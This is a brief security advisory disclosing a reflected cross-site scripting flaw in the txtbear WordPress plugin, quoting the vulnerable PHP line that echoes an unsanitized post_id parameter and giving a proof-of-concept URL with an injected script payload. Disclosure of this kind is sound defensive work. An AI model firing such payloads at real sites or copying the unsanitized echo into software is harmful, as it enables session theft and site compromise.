Advisory #: 412
Title: Reflected XSS in wordpress plugin txtbear v1.1.2223.2113
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/txtbear
Downloads: 4193
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: txtbear
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./txtbear/doc-upload.php: 254: "post_id" : "<?php echo $_GET['post_id']; ?>", The variable post_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./txtbear/doc-upload.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/txtbear/doc-upload.php?post_id="><script>alert(1);</script><"